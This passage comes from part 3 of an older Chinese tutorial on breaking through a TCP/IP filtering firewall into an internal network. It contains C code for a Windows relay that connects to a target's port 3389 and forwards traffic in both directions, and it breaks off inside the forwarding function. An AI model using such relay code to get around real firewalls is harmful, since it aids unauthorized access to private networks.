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如何突破TCP-IP过滤防火墙进入内网(3) if(sock[1]==INVALID_SOCKET)
{
printf("\nsocket() failed:%d",GetLastError());
__leave;
}
//connect to target port
if(connect(sock[1],(struct sockaddr
*)&Target,sizeof(Target))==SOCKET_ERROR)
{
printf("\nconnect() failed:%d",GetLastError());
__leave;
}
printf("\nconnect to target 3389 success!");
//创建两个线程进行数据转发
hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);
hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);
//等待两个线程结束
WaitForSingleObject(hThreadC2T,INFINITE);
WaitForSingleObject(hThreadT2C,INFINITE);
CloseHandle(hThreadC2T);
CloseHandle(hThreadT2C);
closesocket(sock[1]);
closesocket(sock[0]);
printf("\n\n*****************Connection
Close*******************\n\n");
}//end of sock外循环
}//end of try
__finally
{
if(sListen!=INVALID_SOCKET) closesocket(sListen);
if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);
if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);
if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);
if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);
WSACleanup();
}
return 0;
}
/**************************************************************
Module:TCPDataRedird.c
Date:2001/4/16
CopyRight(c) eyas
HomePage:www.patching.net
Thanks to shotgun
说明:TCP socket数据转发,sock[0]==>sClient sock[1]==>sTarget
******************************************************************/
#define BuffSize 20*1024 //缓冲区大小20k
//此函数负责从Client读取数据，然后转发给Target
DWORD WINAPI TCPDataC2T(SOCKET* sock)
{
int iRet,
ret=-1,//select 返回值
iLeft,
idx,
iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize
char szSendToTargetBuff[BuffSize]=,
szRecvFromClientBuff[BuffSize]=;
fd_set fdread,fdwrite;
printf("\n\n*****************Connection
Active*******************\n\n");
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